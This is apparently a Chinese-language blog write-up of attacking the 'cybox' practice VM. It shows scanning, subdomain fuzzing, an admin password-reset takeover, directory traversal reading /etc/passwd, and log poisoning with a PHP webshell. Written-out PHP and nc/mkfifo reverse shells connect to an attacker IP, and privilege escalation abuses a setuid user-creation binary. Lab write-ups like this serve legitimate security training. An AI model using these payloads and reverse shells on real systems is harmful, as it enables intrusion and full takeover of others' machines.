当前位置:网站首页>cybox靶机wp
cybox靶机wp
2022-08-08 06:22:00 【yq_00】
扫描
nmap -sP 192.168.159.0/24 # 主机探活
nmap -sV -p- -A 192.168.159.154 # 端口扫描
nikto -h 192.168.159.154 # web基本扫描
dirsearch -u 192.168.159.154 # 目录扫描

namp 扫描到端口开了:21(ftp)、25(smtp)、53、80、110、443、

nikto 扫到了一个
mod_ssl版本过低问题,可能存在rce

目录扫描没有获得有效信息
mod_ssl尝试利用
searchsploit mod_ssl 2.2.17

发现了三个可以尝试利用的文件
searchsploit -m 21671.c

参数 -m 后接目标文件名,可以将该文件复制到当前目录下
apt-get install libssl-dev
gcc -o EXP 47080.c -lcrypto
编译该文件,并运行

查看相应的版本,目标靶机从之前版本的值为apache 2.2.17;
可惜的是没有相对应的版本,失败
剩下的两个文件直接无法编译,网上找的文件也没有相对应的 apache 版本,故该漏洞无法利用,换思路。
子域名突破
战前准备
由于是靶机,我们只有它的 IP ,因此要自己设置域名解析
相对应的域名信息从主站的页面找到



wfuzz爆破子域名
wfuzz -H 'HOST: FUZZ.cybox.company' -u 'http://192.168.159.154' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 489,27 #hide word

得到如下子域名:register、ftp、dev、webmail、monitor
加入hosts中
多个网站信息收集与测试

在 register 域名下发现一个创建用户的操作,创建成功:
[email protected] yq:yq
尝试利用这个账号访问其他网站:webmail、monitor
发现可以登录 webmail 下的网站 账号口令:yq yq

回到 monitor 的网站下,尝试注册账户


登陆后没有任何信息,这时想到能否登录admin用户

弱口令失败,尝试修改密码

在mail网站下收到右键连接,点击后发现是通过url确定修改目标的


修改对应的url连接为admin用户密码修改连接

输入新的密码 123456,重新尝试登录
[email protected] 123456

登陆成功,进入admin控制页面,发现里面啥都没。。。

F12 查看源码,发现一个可疑的目录,尝试访问,怀疑存在文件包含

信息泄露,任意文件读取
访问 styles.php?style=general

应该是一个文件,尝试目录遍历,读取其他文件
http://monitor.cybox.company/admin/styles.php?style=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

成功访问到
/etc/passwd,这里的%00是截断符号,告诉输入结束了
之前在 dev 目录下看见该系统使用了 apache 服务器,尝试能否写日志,使用文件包含来调用shell

写日志
首先查看 apache 配置文件
/etc/httpd/conf/httpd.conf
好像没有这个文件。。。它可能改了默认位置。。。
尝试 apache 根目录下的 logs 文件 下 access_log

http://monitor.cybox.company/admin/styles.php?style=/…/…/…/…/…/…/…/…/…/…/…/opt/bitnami/apache2/logs/access_log%00

返回了!!!
访问之前获得的几个子域名,发现只有访问 ftp 子域名时会有日志写入,写得是数据包中的 user-agent 信息、ip信息、一个css文件。我们可控的是user-agent信息

现在准备通过 ftp 数据包的user-agent信息写入日志,反弹shell
<?php system($_GET['7']);?>

这时发现日志里面好像没有我们写入的东西?
这是因为我们的 php 代码已经被解析了,所以没有显示,直接用就可以
http://monitor.cybox.company/admin/styles.php?style=/…/…/…/…/…/…/…/…/…/…/…/opt/bitnami/apache2/logs/access_log%00&7=whoami

成功写入 webshell
反弹shell
<?php
$sock=fsockopen("192.168.159.131",7777);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
<?php
$sock=fsockopen("192.168.159.131",4444);system("/bin/sh -i <&3 >&3 2>&3");
?>
想偷懒直接利用 php 代码弹shell的,就是把php反向代理的代码写进access_log文件中,再访问它进行解析,但是不行,会报错。。。
还是老老实实通过webshell弹吧。。。
下面这个数据是从error_log中得到的错误信息

通过webshell反弹shell
弹shell方式多种多样,我选择的是 nc,当然python也可以。
nc 192.168.159.131 -e /bin/bash # 可能失败,不支持 -e 参数
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.159.131 443 >/tmp/f # 只能走 443
这里要将代码进行 url 编码(因为里面有空格等符号)


提权
成功反弹了shell,首先进行setuid提权尝试
find \ -perm -u=s -type f 2>/dev/null

发现可疑文件
registerlauncher,strings 查看这个可执行文件

发现了另一个文件 register,strings 查看这个文件

发现了它的作用是 创建一个用户,并给这个用户设置一个同名的组,因此想到了
sudo组,创建一个用户名为 sudo 的用户,会将他添加到sudo用户组,可以执行sudo权限命令

换交互式终端,并登录sudo用户
python -c 'import pty;pty.spawn("/bin/bash")'
su sudo

sudo /bin/bash

提权成功,获得主机 root 权限

边栏推荐
猜你喜欢
随机推荐
使用pyQt 网格布局(QGridLayout)创建一个计算器
np.iinfo和 np.finfo的用法
How many times the neural network is generally trained, the neural network training time is too long
JS截取字符串最后一个字符,截取“,”逗号前面字符,赋值集合
分布式系统API网关原理及选型
二、TF2 常见问题解决
在AWS CodeBuild中更新Lambda导致进程被占用(status error 255)的解决方案
遥远的救世主
Why should Latches be avoided in digital IC design?
docker修改mysql配置文件
正则表达式
分布式系统设计之高可用大全
ax.patches 表示什么?
YoloV4训练自己的数据集(三)
AttributeError: ‘GridSearchCV‘ object has no attribute ‘grid_scores_‘
Rust学习:5_所有权与借用
Key technologies for 4G/5G spectrum resource coordination
四面拿下字节2-2Offer,入职就是...
YoloV4训练自己的数据集(一)
Docker安装nacos2.0并指定mysql,安装sentinel









